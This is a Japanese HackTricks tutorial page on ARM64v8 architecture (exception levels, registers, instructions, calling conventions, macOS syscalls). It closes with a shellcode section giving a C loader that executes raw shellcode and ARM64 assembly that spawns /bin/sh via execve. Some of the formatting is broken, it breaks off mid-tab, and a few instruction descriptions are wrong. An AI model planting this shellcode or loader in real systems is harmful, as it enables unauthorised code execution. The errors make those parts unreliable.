Introduction to ARM64v8

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

  • HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!

  • The PEASS Familyを発見し、独占的なNFTsのコレクションを見る

  • 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦で@carlospolopmをフォローする。

  • HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

例外レベル - EL(ARM64v8)

ARMv8アーキテクチャでは、実行レベルである例外レベル(EL)が、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的で使用されます:

  1. EL0 - ユーザーモード

    • これは最も特権のないレベルであり、通常のアプリケーションコードの実行に使用されます。

    • EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。

  2. EL1 - オペレーティングシステムカーネルモード

    • ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。

    • EL1はEL0よりも特権があり、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。

  3. EL2 - ハイパーバイザーモード

    • このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行されている複数のオペレーティングシステム(それぞれが独自のEL1で)を管理できます。

    • EL2には仮想化環境の分離と制御の機能が備わっています。

  4. EL3 - セキュアモニターモード

    • これは最も特権のあるレベルであり、セキュアブートや信頼された実行環境によく使用されます。

    • EL3はセキュア状態と非セキュア状態の間のアクセスを管理および制御できます(セキュアブート、信頼されたOSなど)。

これらのレベルの使用により、ユーザーアプリケーションから最も特権のあるシステムソフトウェアまで、システムのさまざまな側面を構造化して安全に管理する方法が提供されます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に分離することで、システムのセキュリティと堅牢性を向上させます。

レジスタ(ARM64v8)

ARM64には31個の汎用レジスタがあり、x0からx30までラベル付けされています。それぞれが64ビット(8バイト)の値を格納できます。32ビットの値のみを必要とする操作の場合、同じレジスタにはw0からw30という名前で32ビットモードでアクセスできます。

  1. x0 から x7 - これらは通常、スクラッチレジスタとサブルーチンにパラメータを渡すために使用されます。

    • x0 は関数の戻りデータも保持します。

  2. x8 - Linuxカーネルでは、x8svc命令のシステムコール番号として使用されます。macOSではx16が使用されます!

  3. x9 から x15 - さらなる一時レジスタであり、ローカル変数によく使用されます。

  4. x16x17 - 手続き内呼び出しレジスタ。即値のための一時レジスタ。間接関数呼び出しやPLT(手続きリンクテーブル)スタブにも使用されます。

    • x16macOSで**svc命令のシステムコール番号**として使用されます。

  5. x18 - プラットフォームレジスタ。汎用レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています:Windowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルで現在の実行中のタスク構造体を指すポインタ

  6. x19 から x28 - これらは呼び出し元保存レジスタです。関数はこれらのレジスタの値を呼び出し元のために保存する必要があり、それらはスタックに保存され、呼び出し元に戻る前に回復されます。

  7. x29 - スタックフレームを追跡するためのフレームポインタ。関数が呼び出されると新しいスタックフレームが作成されるとき、x29レジスタはスタックに保存され、新しいフレームポインタアドレス(spアドレス)がこのレジスタに保存されます。

    • このレジスタは一般目的レジスタとしても使用できますが、通常はローカル変数への参照として使用されます。

  8. x30 または lr - リンクレジスタBL(リンク付きブランチ)またはBLR(レジスタへのリンク付きブランチ)命令が実行されるときに**pcの値をこのレジスタに格納することで戻りアドレス**を保持します。

    • 他のレジスタと同様に使用できます。

    • 現在の関数が新しい関数を呼び出す予定であり、したがってlrを上書きする場合、最初にスタックに保存し、これがエピローグ(stp x29, x30 , [sp, #-48]; mov x29, sp -> fplrを保存し、スペースを生成し、新しいfpを取得)で、最後に回復します。これがプロローグ(ldp x29, x30, [sp], #48; ret -> fplrを回復して戻る)です。

  9. sp - スタックポインタ。スタックの先頭を追跡するために使用されます。

    • spの値は常にクアッドワードアライメントに保たれるべきであり、それ以外の場合はアライメント例外が発生する可能性があります。

  10. pc - プログラムカウンタ。次の命令を指すレジスタ。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、pcアドレスをlr(リンクレジスタ)に格納するためのリンク付きブランチ命令(BL、BLR)だけです。

  11. xzr - ゼロレジスタ。32ビットレジスタ形式では**wzrとも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)またはsubsを使用して比較を行うために使用できます。例:subs XZR, Xn, #10**(結果のデータをどこにも保存しない)。

**WnレジスタはXn**レジスタの32ビットバージョンです。

SIMDおよび浮動小数点レジスタ

さらに、最適化された単一命令複数データ(SIMD)操作や浮動小数点演算を実行するために使用できる、長さが128ビットの別の32個のレジスタがあります。これらはVnレジスタと呼ばれますが、64ビット、32ビット、16ビット、8ビットで動作することもでき、その場合は**QnDnSnHnBn**と呼ばれます。

システムレジスタ

数百のシステムレジスタ、または特殊用途レジスタ(SPR)は、プロセッサの動作を監視および制御するために使用されます。 これらは、専用の特殊命令 mrsmsr を使用してのみ読み取りまたは設定できます。

特殊レジスタ TPIDR_EL0TPIDDR_EL0 は、リバースエンジニアリング時に一般的に見られます。EL0 接尾辞は、レジスタにアクセスできる最小例外を示します(この場合、EL0は通常の例外(特権)レベルで一般プログラムが実行されます)。 これらは通常、メモリのスレッドローカルストレージ領域のベースアドレスを格納するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目はEL0から読み取り、カーネルから書き込むことができます。

  • mrs x0, TPIDR_EL0 ; TPIDR_EL0 を x0 に読み込む

  • msr TPIDR_EL0, X0 ; x0 を TPIDR_EL0 に書き込む

PSTATE

PSTATE には、オペレーティングシステムでシリアル化されたいくつかのプロセスコンポーネントが含まれており、SPSR_ELx 特殊レジスタに格納されます。ここで、X はトリガーされた例外の権限 レベルを示します(これにより、例外が終了したときにプロセスの状態を回復できます)。 これらはアクセス可能なフィールドです:

  • NZCV 条件フラグ:

  • N は操作が負の結果を生じたことを意味します

  • Z は操作がゼロを生じたことを意味します

  • C は操作がキャリーしたことを意味します

  • V は操作が符号オーバーフローを生じたことを意味します:

  • 2つの正の数の合計は負の結果を生じます。

  • 2つの負の数の合計は正の結果を生じます。

  • 減算では、大きな負の数が小さな正の数から減算される場合(またはその逆)、結果が与えられたビットサイズの範囲内に表現できない場合。

  • 明らかに、プロセッサは操作が符号付きかどうかを知らないため、符号が付いているかどうかをチェックし、符号が付いている場合にキャリーが発生したかどうかを示します。

すべての命令がこれらのフラグを更新するわけではありません。CMPTST のような一部の命令は、および ADDS のような s 接尾辞を持つ他の命令もそれを行います。

  • 現在のレジスタ幅 (nRW) フラグ: フラグが値 0 を保持している場合、プログラムは再開後に AArch64 実行状態で実行されます。

  • 現在の例外レベル (EL): EL0 で実行される通常のプログラムは値 0 を持ちます

  • シングルステップ フラグ (SS): デバッガが SS フラグを SPSR_ELx で 1 に設定してシングルステップ例外を発生させることで、ステップごとに単一ステップ例外を発行します。

  • 不正例外 状態フラグ (IL): 特権ソフトウェアが無効な例外レベル転送を実行するときにマークされ、このフラグが 1 に設定され、プロセッサが不正な状態例外をトリガーします。

  • DAIF フラグ: これらのフラグにより、特権プログラムは特定の外部例外を選択的にマスクできます。

  • A が 1 の場合、非同期中断 がトリガーされます。I は外部ハードウェア 割り込みリクエスト(IRQs)に応答するように構成され、F は Fast Interrupt Requests(FIRs)に関連しています。

  • スタックポインタ選択 フラグ (SPS): EL1 およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタ(たとえば SP_EL1EL0 の間)を切り替えることができます。この切り替えは、SPSel 特殊レジスタに書き込むことによって実行されます。これは EL0 からは行えません。

呼び出し規約(ARM64v8)

ARM64 呼び出し規約では、関数への最初の 8 つのパラメータはレジスタ x0 から x7 に渡されます。追加のパラメータはスタックに渡されます。戻り値はレジスタ x0 に返されるか、128 ビットの場合は x1 にも返されます。x19 から x30 および sp レジスタは、関数呼び出しを超えて保存される必要があります。

アセンブリで関数を読む際には、関数のプロローグとエピローグを探します。プロローグは通常、フレームポインタ (x29)保存し、新しいフレームポインタ設定し、スタックスペースを割り当てすることを含みます。エピローグは通常、保存されたフレームポインタを復元し、関数から戻ることを含みます。

Swift における呼び出し規約

Swift には独自の呼び出し規約があり、https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64 で見つけることができます。

一般的な命令(ARM64v8)

ARM64 命令は一般的に、opcode dst, src1, src2 の形式を持ち、opcode は実行される操作addsubmov など)を、dst は結果が格納される宛先レジスタを、src1 および src2ソースレジスタを示します。ソースレジスタの代わりに即値を使用することもできます。

  • mov: 1 つのレジスタから別のレジスタに値を移動します。

  • 例: mov x0, x1 — これは x1 から x0 に値を移動します。

  • ldr: メモリからレジスタロードします。

  • 例: ldr x0, [x1] — これは x1 が指すメモリ位置から x0 に値をロードします。

  • オフセットモード: オリンポインタに影響を与えるオフセットが示されます。たとえば:

  • ldr x2, [x1, #8] は、x1 + 8 の値を x2 にロードします

  • ldr x2, [x0, x1, lsl #2] は、x0 の配列から、位置 x1(インデックス) * 4 のオブジェクトを x2 にロードします

  • プリインデックスモード: これは、計算をオリジンに適用し、結果を取得して新しいオリジンをオリジンに格納します。

  • ldr x2, [x1, #8]! は、x1 + 8x2 にロードし、x1 + 8 の結果を x1 に格納します

  • str lr, [sp, #-4]! は、リンクレジスタを sp に格納し、レジスタ sp を更新します

  • ポストインデックスモード: これは前のモードと同様ですが、メモリアドレスにアクセスしてからオフセットを計算して格納します。

  • ldr x0, [x1], #8 は、x1x0 にロードし、x1 + 8 で x1 を更新します

  • PC相対アドレッシング: この場合、ロードするアドレスは PC レジスタに対して相対的に計算されます

  • ldr x1, =_start は、_start シンボルが開始するアドレスを、現在の PC に関連して x1 にロードします。

  • str: メモリにあるレジスタから格納します。

  • 例: str x0, [x1] — これは x0 の値を x1 が指すメモリ位置に格納します。

  • ldp: 2 つのレジスタ連続するメモリ位置からロードします。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。

  • 例: ldp x0, x1, [x2] は、それぞれ x2x2 + 8 のメモリ位置から x0x1 をロードします。

  • stp: 2 つのレジスタ連続するメモリ位置に格納します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。

  • 例: stp x0, x1, [sp] は、それぞれ spsp + 8 のメモリ位置に x0x1 を格納します。

  • stp x0, x1, [sp, #16]! は、それぞれ sp+16sp + 24 のメモリ位置に x0x1 を格納し、spsp+16 に更新します。

  • add: 2 つのレジスタの値を加算し、結果をレジスタに格納します。

  • 構文: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> 宛先

  • Xn2 -> オペランド1

  • Xn3 | #imm -> オペランド2 (レジスタまたは即値)

  • [shift #N | RRX] -> シフトまたはRRXを実行

  • 例: add x0, x1, x2 — これはx1x2の値を加算し、結果をx0に格納します。

  • add x5, x5, #1, lsl #12 — これは4096に等しい(1を12回シフト) -> 1 0000 0000 0000 0000

  • adds これはaddを実行し、フラグを更新します

  • sub: 2つのレジスタの値を引き算し、結果をレジスタに格納します。

  • add 構文を確認してください。

  • 例: sub x0, x1, x2 — これはx1からx2の値を引き、結果をx0に格納します。

  • subs これはsubと同じですが、フラグを更新します

  • mul: 2つのレジスタの値を掛け算し、結果をレジスタに格納します。

  • 例: mul x0, x1, x2 — これはx1x2の値を掛け算し、結果をx0に格納します。

  • div: 1つのレジスタの値をもう1つで割り、結果をレジスタに格納します。

  • 例: div x0, x1, x2 — これはx1x2で割り、結果をx0に格納します。

  • lsl, lsr, asr, ror, rrx:

  • 論理左シフト: 末尾に0を追加し、他のビットを前に移動します(n回2倍)

  • 論理右シフト: 先頭に1を追加し、他のビットを後ろに移動します(符号なしでn回2で割る)

  • 算術右シフト: **lsr**と同様ですが、最上位ビットが1の場合、1を追加します(符号付きでn回2で割る)

  • 右に回転: **lsr**と同様ですが、右から削除されたものは左に追加されます

  • 拡張付き右回転: **ror**と同様ですが、キャリーフラグが「最上位ビット」として使用されます。つまり、キャリーフラグがビット31に移動し、削除されたビットがキャリーフラグに配置されます。

  • bfm: ビットフィールドムーブ、これらの操作は値からビット0...nをコピーし、それらを位置m..m+nに配置します。#sは左端のビット位置を指定し、#rは右に回転する量を指定します。

  • ビットフィールドムーブ: BFM Xd, Xn, #r

  • 符号付きビットフィールドムーブ: SBFM Xd, Xn, #r, #s

  • 符号なしビットフィールドムーブ: UBFM Xd, Xn, #r, #s

  • ビットフィールドの抽出と挿入: レジスタからビットフィールドをコピーし、別のレジスタにコピーします。

  • BFI X1, X2, #3, #4 X2からX1の3番目のビットに4ビットを挿入します

  • BFXIL X1, X2, #3, #4 X2の3番目のビットから4ビットを抽出し、それらをX1にコピーします

  • SBFIZ X1, X2, #3, #4 X2から4ビットを符号拡張し、X1の3ビット目から挿入し、右側のビットをゼロにします

  • SBFX X1, X2, #3, #4 X2から3ビット目から4ビットを抽出し、符号拡張し、結果をX1に配置します

  • UBFIZ X1, X2, #3, #4 X2から4ビットをゼロ拡張し、X1の3ビット目から挿入し、右側のビットをゼロにします

  • UBFX X1, X2, #3, #4 X2から3ビット目から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。

  • Xに符号拡張: 値の符号を拡張します(または符号なしバージョンでは単に0を追加します):

  • SXTB X1, W2 バイトの符号を拡張します W2からX1 (W2X2の半分) 64ビットを埋めるため

  • SXTH X1, W2 16ビット数の符号を拡張します W2からX1 64ビットを埋めるため

  • SXTW X1, W2 バイトの符号を拡張します W2からX1 64ビットを埋めるため

  • UXTB X1, W2 バイトに0を追加します(符号なし) W2からX1 64ビットを埋めるため

  • extr: 指定された連結されたレジスタのペアからビットを抽出します。

  • 例: EXTR W3, W2, W1, #3 これはW1+W2を連結し、W2のビット3からW1のビット3までを取得してW3に格納します。

  • cmp: 2つのレジスタを比較し、条件フラグを設定します。これは、subsのエイリアスで、宛先レジスタをゼロレジスタに設定します。m == nかどうかを知るのに便利です。

  • **subs**と同じ構文をサポートしています

  • 例: cmp x0, x1 — これはx0x1の値を比較し、条件フラグを適切に設定します。

  • cmn: 負の比較オペランド。この場合、addsのエイリアスで、同じ構文をサポートします。m == -nかどうかを知るのに便利です。

  • ccmp: 条件付き比較、前の比較が真の場合にのみ実行され、特定のnzcvビットを設定します。

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> x1 != x2かつx3 < x4の場合、funcにジャンプします

  • これは前のcmpNEだった場合にのみccmpが実行されるためであり、そうでない場合はビットnzcvが0に設定されます(これはbltの比較を満たしません)。

  • これはccmnとしても使用できます(cmpcmnのように)。

  • tst: 比較の値のいずれかが1であるかどうかをチェックします(結果をどこにも保存せずにANDSのように機能します)。指定された値のレジスタをチェックし、その値で指定されたレジスタのビットのいずれかが1であるかどうかを確認するのに便利です。

  • 例: tst X1, #7 X1の最後の3ビットのいずれかが1であるかどうかをチェックします

  • teq: 結果を破棄するXOR演算

  • b: 無条件分岐

  • 例: b myFunction

  • これはリンクレジスタを戻りアドレスで埋めないことに注意してください(戻る必要があるサブルーチン呼び出しには適していません)

  • bl: リンク付き分岐、サブルーチンを呼び出すために使用されます。x30に戻りアドレスを格納します。

  • 例: bl myFunction — これはmyFunction関数を呼び出し、戻りアドレスをx30に格納します。

  • これはリンクレジスタを戻りアドレスで埋めないことに注意してください(戻る必要があるサブルーチン呼び出しには適していません)

  • blr: レジスタで指定されたターゲットを使用してサブルーチンを呼び出すために使用されるリンク付き分岐。戻りアドレスをx30に格納します。 (これは

  • 例: blr x1 — これはx1に含まれるアドレスの関数を呼び出し、戻りアドレスをx30に格納します。

  • ret: サブルーチンから戻る、通常は**x30**のアドレスを使用します。

  • 例: ret — これはx30の戻りアドレスを使用して現在のサブルーチンから戻ります。

  • b.<cond>: 条件付き分岐

  • b.eq: 等しい場合に分岐、前のcmp命令に基づいています。

  • 例: b.eq label — 前のcmp命令で2つの等しい値が見つかった場合、labelにジャンプします。

  • b.ne: 等しくない場合分岐。この命令は条件フラグをチェックし(以前の比較命令で設定された)、比較した値が等しくない場合、指定されたラベルやアドレスに分岐します。

  • 例: cmp x0, x1 命令の後、b.ne labelx0x1 の値が等しくない場合、label にジャンプします。

  • cbz: ゼロの場合分岐。この命令はレジスタをゼロと比較し、等しい場合は指定されたラベルやアドレスに分岐します。

  • 例: cbz x0, labelx0 の値がゼロの場合、label にジャンプします。

  • cbnz: ゼロでない場合分岐。この命令はレジスタをゼロと比較し、等しくない場合は指定されたラベルやアドレスに分岐します。

  • 例: cbnz x0, labelx0 の値がゼロでない場合、label にジャンプします。

  • tbnz: ビットをテストし、ゼロでない場合分岐

  • 例: tbnz x0, #8, label

  • tbz: ビットをテストし、ゼロの場合分岐

  • 例: tbz x0, #8, label

  • 条件付き選択演算: 条件ビットによって挙動が異なる演算です。

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> 真の場合、X0 = X1、偽の場合、X0 = X2

  • csinc Xd, Xn, Xm, cond -> 真の場合、Xd = Xn、偽の場合、Xd = Xm + 1

  • cinc Xd, Xn, cond -> 真の場合、Xd = Xn + 1、偽の場合、Xd = Xn

  • csinv Xd, Xn, Xm, cond -> 真の場合、Xd = Xn、偽の場合、Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> 真の場合、Xd = NOT(Xn)、偽の場合、Xd = Xn

  • csneg Xd, Xn, Xm, cond -> 真の場合、Xd = Xn、偽の場合、Xd = - Xm

  • cneg Xd, Xn, cond -> 真の場合、Xd = - Xn、偽の場合、Xd = Xn

  • cset Xd, Xn, Xm, cond -> 真の場合、Xd = 1、偽の場合、Xd = 0

  • csetm Xd, Xn, Xm, cond -> 真の場合、Xd = <all 1>、偽の場合、Xd = 0

  • adrp: シンボルのページアドレスを計算してレジスタに格納します。

  • 例: adrp x0, symbolsymbol のページアドレスを計算して x0 に格納します。

  • ldrsw: メモリから符号付き32ビット値を64ビットに拡張してロードします。

  • 例: ldrsw x0, [x1]x1 が指すメモリ位置から符号付き32ビット値をロードし、64ビットに拡張して x0 に格納します。

  • stur: レジスタの値をメモリ位置にストアし、別のレジスタからのオフセットを使用します。

  • 例: stur x0, [x1, #4]x1 に現在格納されているアドレスよりも4バイト大きいアドレスに x0 の値を格納します。

  • svc : システムコールを行います。"Supervisor Call" の略です。プロセッサがこの命令を実行すると、ユーザーモードからカーネルモードに切り替わりカーネルのシステムコール処理コードが格納されているメモリ内の特定の場所にジャンプします。

  • 例:

mov x8, 93  ; レジスタ x8 に終了のためのシステムコール番号 (93) をロードします。
mov x0, 0   ; 終了ステータスコード (0) をレジスタ x0 にロードします。
svc 0       ; システムコールを行います。

関数プロローグ

  1. リンクレジスタとフレームポインタをスタックに保存:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. 新しいフレームポインタを設定する: mov x29, sp (現在の関数のための新しいフレームポインタを設定する)

  2. ローカル変数用のスタック上のスペースを割り当てる(必要な場合): sub sp, sp, <size>(ここで <size> は必要なバイト数です)

関数エピローグ

  1. ローカル変数を解放する(割り当てられている場合): add sp, sp, <size>

  2. リンクレジスタとフレームポインタを復元する:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret(リンクレジスタ内のアドレスを使用して呼び出し元に制御を返します)

AARCH32 実行状態

Armv8-A は 32 ビットプログラムの実行をサポートします。AArch32A32T322 つの命令セットのいずれかで実行でき、interworking を介してそれらの間を切り替えることができます。 特権を持つ 64 ビットプログラムは、32 ビットの低特権レベルに例外レベル転送を実行することで、32 ビットプログラムの実行をスケジュールできます。 64 ビットから 32 ビットへの移行は、例外レベルの低下によって行われます(たとえば、EL1 での 64 ビットプログラムが EL0 でのプログラムをトリガーする)。これは、AArch32 プロセススレッドが実行される準備ができているときに、SPSR_ELx 特殊レジスタの ビット 4 を 1 に設定することで行われ、SPSR_ELx の残りの部分は AArch32 プログラムの CPSR を保存します。その後、特権プロセスは ERET 命令を呼び出してプロセッサが AArch32 に遷移し、CPSR に応じて A32 または T32 に入ります**。**

interworking は CPSR の J ビットと T ビットを使用して行われます。J=0 かつ T=0A32 を意味し、J=0 かつ T=1T32 を意味します。これは基本的に、命令セットが T32 であることを示すために 最下位ビットを 1 に設定することを意味します。 これは interworking 分岐命令で設定されますが、PC が宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例:

別の例:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

レジスタ

32ビットのレジスタが16個あります(r0-r15)。r0からr14まで、どんな操作にも使用できますが、一部は通常予約されています:

  • r15:プログラムカウンタ(常に)。次の命令のアドレスが格納されています。A32では現在+8、T32では現在+4。

  • r11:フレームポインタ

  • r12:手続き内呼び出しレジスタ

  • r13:スタックポインタ

  • r14:リンクレジスタ

さらに、レジスタは**バンク付きレジスタにバックアップされます。これは、例外処理や特権操作で高速なコンテキスト切り替え**を実行するために、レジスタの値を保存しておく場所です。これにより、毎回レジスタを手動で保存および復元する必要がなくなります。 これは、例外が発生したプロセッサモードのCPSRからプロセッサのSPSRにプロセッサ状態を保存することで行われます。例外が返されると、CPSRSPSRから復元されます。

CPSR - 現在のプログラムステータスレジスタ

AArch32では、CPSRはAArch64の**PSTATEと同様に機能し、例外が発生すると後で実行を復元するためにSPSR_ELx**にも保存されます:

フィールドはいくつかのグループに分かれています:

  • アプリケーションプログラムステータスレジスタ(APSR):算術フラグで、EL0からアクセス可能

  • 実行状態レジスタ:プロセスの動作(OSによって管理)

アプリケーションプログラムステータスレジスタ(APSR)

  • NZCV フラグ(AArch64と同様)

  • Q フラグ:専用の飽和算術命令の実行中に整数の飽和が発生すると、このフラグが1に設定されます。一度**1**に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令は存在せず、値を読んで手動でチェックする必要があります。

  • GE(以上または等しい)フラグ:これはSIMD(Single Instruction, Multiple Data)操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、1つの命令で複数のデータポイントを処理できます。

たとえば、UADD8 命令は、並列に4組のバイト(2つの32ビットオペランドから)を追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、APSR内のGEフラグが設定されます。各GEフラグは1つのバイトの追加に対応し、そのバイトのペアの追加がオーバーフローしたかどうかを示します。

SEL 命令はこれらのGEフラグを使用して条件付きアクションを実行します。

実行状態レジスタ

  • J および T ビット:J は0である必要があり、T が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。

  • ITブロックステートレジスタITSTATE):これらは10-15および25-26のビットです。IT で接頭辞が付いたグループ内の命令の条件を格納します。

  • E ビット:エンディアンネスを示します。

  • モードおよび例外マスクビット(0-4):現在の実行状態を決定します。5番目はプログラムが32ビット(1)または64ビット(0)で実行されているかを示します。他の4つは、使用中の例外モード(例外が発生し処理中の場合)を表します。設定された数値は、これが処理中に別の例外が発生した場合の現在の優先度を示します。

  • AIF:特定の例外は、AIF ビットを使用して無効にできます。A が1の場合、非同期中断がトリガーされます。I は外部ハードウェアの割り込みリクエスト(IRQ)に応答するように構成され、Fはファスト割り込みリクエスト(FIR)に関連しています。

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

時々、libsystem_kernel.dylib からの**decompiled**コードをチェックする方が、複数のシステムコール(BSDとMach)のコードがスクリプト経由で生成されるため、ソースコードをチェックするよりも簡単です(ソースコードのコメントをチェックしてください)。dylibでは、呼び出されている内容を見つけることができます。

machdep calls

XNUは、マシン依存の呼び出しと呼ばれる別のタイプの呼び出しをサポートしています。これらの呼び出しの数はアーキテクチャに依存し、呼び出しまたは数値が一定であることは保証されていません。

comm page

これは、すべてのユーザープロセスのアドレス空間にマップされるカーネル所有のメモリページです。ユーザーモードからカーネルスペースへの移行を、システムコールを使用するよりも効率的に行うために使用されます。カーネルサービスのためにシステムコールを使用すると非常に効率が悪いためです。

たとえば、gettimeofdate呼び出しは、timevalの値をcommページから直接読み取ります。

objc_msgSend

Objective-CやSwiftプログラムでよく見られる関数です。この関数を使用すると、Objective-Cオブジェクトのメソッドを呼び出すことができます。

パラメータ(詳細はドキュメントを参照):

  • x0: self -> インスタンスへのポインタ

  • x1: op -> メソッドのセレクタ

  • x2... -> 呼び出されるメソッドの残りの引数

したがって、この関数への分岐前にブレークポイントを設定すると、lldbで呼び出される内容を簡単に見つけることができます(この例では、オブジェクトがNSConcreteTaskからのオブジェクトを呼び出し、コマンドを実行します)。

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

NSObjCMessageLoggingEnabled=1 環境変数を設定すると、この関数が呼び出されたときに /tmp/msgSends-pid のようなファイルにログを記録することができます。

シェルコード

コンパイルするには:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

バイトを抽出するには:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

新しい macOS 向け:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
シェルコードをテストするためのCコード

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### シェル

[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明します。

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='adrを使用'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% タブのタイトル="Linux用ADRと共に" %}

; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
